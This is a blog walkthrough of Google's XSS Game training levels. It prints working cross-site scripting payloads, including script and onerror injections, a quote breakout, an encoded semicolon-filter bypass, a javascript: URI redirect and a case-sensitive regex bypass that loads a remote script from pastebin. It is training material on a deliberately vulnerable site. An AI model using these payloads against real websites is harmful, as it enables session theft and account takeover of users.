30 March 2023

Pentesting Fun Stuff

following the cyber security path…

XSS Game

Location

http://xss-game.appspot.com

Introduction

This is a cross-site scripting training program by Google.
While doing this game you’ll learn how to find and exploit XSS bugs. With the knowledge gained you can try and find XSS bugs discovered in their most sensitive products and they pay up to $7500 for dangerous XSS bugs when found.
Oh….and there will be cake at the end of the test.

Level 1

This level demonstrates a common cause of cross-site scripting where user input is directly included in the page without proper escaping.

<script>alert(1)</script>

Level 2

Inject a script to pop up an alert() in the context of the application.

<img src='zzzz' onerror='alert(1)' />

Level 3

As before, inject a script to pop up a JavaScript alert() in the app.
For this one I need to read the source code.

[SNIP]
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
        window.location.hash = num;
[SNIP]

Here the  num parameter is used to create the img tag. To break out of the single qoutes, I use the following command.

http://xss-game.appspot.com/level3/frame#1' onerror=alert(1);'

Level 4

Inject a script to pop up a JavaScript alert() in the application.
After some tries i decided to check out the hints and used the single quote.
When looking at the console I saw the following error.

SyntaxError: unterminated string literal
startTimer(''');

Time for some tweaking.

SyntaxError: missing ) after argument list
startTimer('''');
SyntaxError: unterminated string literal
startTimer('')');
SyntaxError: missing ; before statement
startTimer('')'');
SyntaxError: missing ) after argument list
startTimer(''test)');
SyntaxError: unterminated string literal
startTimer('test')');
SyntaxError: unterminated string literal
startTimer('alert(1)')');
SyntaxError: unterminated string literal
startTimer('onerror=alert(1)')');
SyntaxError: unterminated string literal
startTimer('onerror=alert(1)'');
SyntaxError: unterminated string literal
startTimer('onerror=alert(1)')');
SyntaxError: missing ; before statement
startTimer('')alert(1)')');
SyntaxError: unterminated string literal
startTimer('')');
SyntaxError: missing ; before statement
startTimer('');alert(1)')');
SyntaxError: unterminated string literal
startTimer('');alert(1)');
SyntaxError: unterminated string literal
startTimer('')');
SyntaxError: unterminated string literal
startTimer('');alert(1)(');
GET http://xss-game.appspot.com/level4/record
200 OK

Along the way I noticed that there was a filter which removed the semicolon. With the final tweak and URL encoding I got a pop-up alert.

http://xss-game.appspot.com/level4/frame?timer=')%3Balert(1)('

Level 5

Cross-site scripting isn’t just about correctly escaping data. Sometimes, attackers can do bad things even without injecting new elements into the DOM.
Inject a script to pop up an alert() in the context of the application.
When I click on ‘sign up’ I see that there is a parameter  next. Looking at the source code off confirm.html I can see that  windows.location is based on this ‘next’ parameter.

<script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>

When looking at the source code of signing.html I can see the ‘next’ parameter is set as an  a tag.

<a href="{{ next }}">Next >></a>

Now to modify this parameter.

http://www.xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Fill in a mail-address and click on ‘next’.

Level 6

This one was a bit tricky and I need to host my evil JS file. For this purpose I used pastebin.
In the source code there is a piece of code that serves as the security check.

// This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }

At first I didn’t noticed it, but after a while it downed on me that this regex wasn’t case insensitive ($i). That would mean that if I used ‘httP’ (or something similar) I could bypass the filter.
So now to test this theory…..

http://www.xss-game.appspot.com/level6/frame#httP://pastebin.com/raw/KEc9pEzg

And I got a pop-up.

And there is cake….just as promised.

Conclusion

This was a very nice game to learn about the inner-workings of cross site scripting and understanding how javascript works.
 
 
 

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.